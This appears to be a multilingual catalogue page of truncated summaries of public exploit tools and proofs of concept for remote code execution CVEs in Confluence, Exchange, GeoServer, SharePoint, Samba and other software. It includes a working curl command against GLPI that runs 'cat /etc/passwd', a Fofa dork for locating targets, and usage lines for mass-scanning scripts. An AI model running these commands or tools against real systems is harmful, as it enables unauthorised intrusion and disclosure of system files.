CVE-2021-41805

CVE-2021-41805 - HashiCorp Consul Enterprise RCE !WARNING DISCLAIMER LEGALE: Questo strumento è ESCLUSIVAMENTE PER SCOPI EDUCATIVI! L'uso di questo strumento per attaccare obiettivi senza previo consenso reciproco è ILLEGALE. È responsabilità dell'utente rispettare tutte le leggi applicabili...

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Strumento RCE per Metabase CVE-2023-38646 Strumento di sfruttamento RCE grafico Modulo di verifica Inserisci l'URL specificato per rilevare un token non autorizzato Esecuzione comandi Questo modulo richiede prima l'esecuzione del modulo di verifica per ottenere il...

CVE-2025-32433

CVE-2025-32433 Einleitung Dieses Dokument stellt die Untersuchung der Schwachstelle CVE-2025-32433 dar, die die Implementierung des integrierten SSH-Servers in der Plattform Erlang/OTP betrifft. Diese Schwachstelle ermöglicht die Remote-Ausführung von beliebigem Code Remote Code Execution, RCE oh...

CVE-2025-32433

Erlang/OTP SSH Schwachstelle zur Remote-Codeausführung, deren Ursache in einem Fehler im Nachrichtenverarbeitungsmechanismus des SSH-Protokolls liegt. Angreifer können vor Abschluss der Authentifizierung Verbindungsprotokollnachrichten senden. Bemerkenswert ist, dass die Schwachstelle alle...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 Esecuzione di codice remoto su server Confluence. Dork Fofa: app="ATLASSIAN-Confluence" Utilizzo Mostra le informazioni di aiuto. root@kitploit: python PoC.py Verifica della vulnerabilità per singoli siti web. root@kitploit: python PoC.py -u https://1.1.1.1 Esecuzion...

PoC-CVE-2025-26529

PoC para CVE-2025-26529 – Exploração de XSS para RCE no Moodle Este é um Proof of Concept PoC que demonstra a cadeia de vulnerabilidades SSRF para XSS → XSS para RCE no Moodle. Visão Geral Enviei todos os arquivos necessários para demonstrar toda a cadeia de exploração: 1. SSRF para XSS 2...

CVE-2019-11224

Modero AMX Code Execution CVE-2019-11224 Este repositório contém algumas fontes sobre CVE-2019–11224 https://link.medium.com/zukA0oCnV8 porque notei que o link não funciona mais no site oficial do NIST. Os dispositivos Modero AMX são essencialmente painéis de toque para salas de reunião; podem se...

CVE-2020-0688

CVE-2020-0688 CVE-2020-0688Microsoft Exchange vulnerabilità di deserializzazione di default MachineKeySection Istruzioni di installazione: Scarica usando git Richiede git: git clone https://github.com/7heKnight/CVE-2020-0688 Scarica il file zip:...

CVE-2023-22527

Non sono responsabile per alcun attacco illegale CVE-2023-22527 Script di scansione di massa aiuto root@kitploit: usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD...

CVE-2024-36401

CVE-2024-36401: Esecuzione Remota di Codice Non Autenticata su GeoServer Exploiter – uno strumento di rilevamento e sfruttamento delle vulnerabilità per l'esecuzione remota di codice non autenticata su GeoServer CVE-2024-36401. Installazione root@kitploit: git clone...

CVE-2025-24893

Analisi della vulnerabilità CVE-2025-24893 XWiki RCE Configurazione dell'ambiente 1. Esecuzione dell'ambiente XWiki 15.10.10 root@kitploit: docker-compose up -d 2. Accesso a XWiki URL: http://localhost:8080 Dopo aver completato la configurazione iniziale, procedere con il test Dopo l'accesso alla...

CVE-2023-51385

CVE-2023-51385 OpenSSH ProxyCommand RCE 1. Quando il tuo ProxyCommand è configurato come segue: root@kitploit: Host .com ProxyCommand /usr/bin/nc -X connect -x 127.0.0.1:7890 %h %p 2. Usa il seguente comando per la prova di concetto root@kitploit: git clone https://github.com/Le1a/CVE-2023-51385...

exploit-CVE-2017-7494

Exploit SambaCry RCE per Samba 4.5.9 Samba è un software libero che reimplementa il protocollo di rete SMB/CIFS. Samba fornisce servizi di file e stampa per vari client Microsoft Windows e può integrarsi con un dominio Microsoft Windows Server, sia come Domain Controller DC che come membro del...

CVE-2012-1823

PHP CGI Argument Injection CVE-2012-1823 Beschreibung sapi/cgi/cgimain.c in PHP vor 5.3.12 und 5.4.x vor 5.4.2, wenn als CGI-Skript aka php-cgi konfiguriert, behandelt Abfragezeichenfolgen, die kein = Gleichheitszeichen enthalten, nicht ordnungsgemäß, was es entfernten Angreifern ermöglicht,...

CVE-2025-49113

Script Python per CVE-2025-49113 Utilizzo: python exploit.py https://ubuntu.com/security/CVE-2025-49113 Descrizione: Roundcube Webmail precedente alla versione 1.5.10 e 1.6.x precedenti alla 1.6.11 consente l'esecuzione remota di codice da parte di utenti autenticati perché il parametro from in u...

CVE-2020-2883

Was ist das? Dieses Projekt, das auf weblogiccmd basiert, ist ein PoC für CVE-2020-2883. Zwei Gadgets Erstes: root@kitploit: ObjectInputStream.readObject PriorityQueue.readObject PriorityQueue.heapify PriorityQueue.siftDown siftDownUsingComparator...

CVE-2023-32571

🐞 CVE-2023-32571 - Execução Remota de Código no System.Linq.Dynamic.Core Prova de Conceito para CVE-2023-32571, uma vulnerabilidade de execução remota de código no System.Linq.Dynamic.Core 1.0.7.10 a 1.2.25. Esta vulnerabilidade permite que atacantes executem código e comandos arbitrários quando...

CVE-2019-3980

CVE-2019-3980 CVE-2019-3980 exploit escrito em win32/c++ dependência openssl. Porte de https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py Instruções Este PoC requer bibliotecas openssl ligadas estaticamente. Coloque os includes do openssl em...

CVE-2022-35914

CVE-2022-35914 RCE non autenticato in GLPI 10.0.2 PoC root@kitploit: curl -s -d 'sid=foo&hhook=exec&text=cat /etc/passwd' -b 'sid=foo' http://HOST/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\ \0-9+\ ='| sed -E 's/\ \0-9+\ =\ ./\1/'...

OurSharePoint-CVE-2025-53770

OurSharePoint — CVE-2025-53770 PoC Strumento RCE per SharePoint autonomo, unico binario. Genera una catena di gadget TypeConfuseDelegate come byte MS-NRBF grezzi senza ysoserial.exe, la avvolge in un payload di deserializzazione DataSet e la consegna tramite HTTP utilizzando il bypass di...